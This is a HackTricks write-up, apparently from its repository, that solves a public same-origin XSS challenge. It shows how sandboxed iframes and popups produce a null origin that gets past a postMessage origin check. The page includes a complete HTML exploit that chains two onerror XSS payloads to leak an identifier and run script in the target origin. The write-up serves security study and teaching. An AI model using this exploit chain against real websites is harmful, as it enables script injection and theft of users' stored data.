hacktricks/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-1.md
Carlos Polop ed03e5afcf a
2024-07-19 01:15:55 +02:00

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# Bypassing SOP with Iframes - 1
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## Iframes in SOP-1
In this [**challenge**](https://github.com/terjanq/same-origin-xss) created by [**NDevTK**](https://github.com/NDevTK) and [**Terjanq**](https://github.com/terjanq) you need you need to exploit a XSS in the coded
```javascript
const identifier = '4a600cd2d4f9aa1cfb5aa786';
onmessage = e => {
const data = e.data;
if (e.origin !== window.origin && data.identifier !== identifier) return;
if (data.type === 'render') {
renderContainer.innerHTML = data.body;
}
}
```
The main problem is that the [**main page**](https://so-xss.terjanq.me) uses DomPurify to send the `data.body`, so in order to send your own html data to that code you need to **bypass** `e.origin !== window.origin`.
Let's see the solution they propose.
### SOP bypass 1 (e.origin === null)
When `//example.org` is embedded into a **sandboxed iframe**, then the page's **origin** will be **`null`**, i.e. **`window.origin === null`**. So just by embedding the iframe via `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` we could **force the `null` origin**.
If the page was **embeddable** you could bypass that protection that way (cookies might also need to be set to `SameSite=None`).
### SOP bypass 2 (window.origin === null)
The lesser known fact is that when the **sandbox value `allow-popups` is set** then the **opened popup** will **inherit** all the **sandboxed attributes** unless `allow-popups-to-escape-sandbox` is set.\
So, opening a **popup** from a **null origin** will make **`window.origin`** inside the popup also **`null`**.
### Challenge Solution
Therefore, for this challenge, one could **create** an **iframe**, **open a popup** to the page with the vulnerable XSS code handler (`/iframe.php`), as `window.origin === e.origin` because both are `null` it's possible to **send a payload that will exploit the XSS**.
That **payload** will get the **identifier** and send a **XSS** it **back to the top page** (the page that open the popup), **which** will **change location** to the **vulnerable** `/iframe.php`. Because the identifier is known, it doesn't matter that the condition `window.origin === e.origin` is not satisfied (remember, the origin is the **popup** from the iframe which has **origin** **`null`**) because `data.identifier === identifier`. Then, the **XSS will trigger again**, this time in the correct origin.
```html
<body>
<script>
f = document.createElement('iframe');
// Needed flags
f.sandbox = 'allow-scripts allow-popups allow-top-navigation';
// Second communication with /iframe.php (this is the top page relocated)
// This will execute the alert in the correct origin
const payload = `x=opener.top;opener.postMessage(1,'*');setTimeout(()=>{
x.postMessage({type:'render',identifier,body:'<img/src/onerror=alert(localStorage.html)>'},'*');
},1000);`.replaceAll('\n',' ');
// Initial communication
// Open /iframe.php in a popup, both iframes and popup will have "null" as origin
// Then, bypass window.origin === e.origin to steal the identifier and communicate
// with the top with the second XSS payload
f.srcdoc = `
<h1>Click me!</h1>
<script>
onclick = e => {
let w = open('https://so-xss.terjanq.me/iframe.php');
onmessage = e => top.location = 'https://so-xss.terjanq.me/iframe.php';
setTimeout(_ => {
w.postMessage({type: "render", body: "<audio/src/onerror=\\"${payload}\\">"}, '*')
}, 1000);
};
<\/script>
`
document.body.appendChild(f);
</script>
</body>
```
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{% endhint %}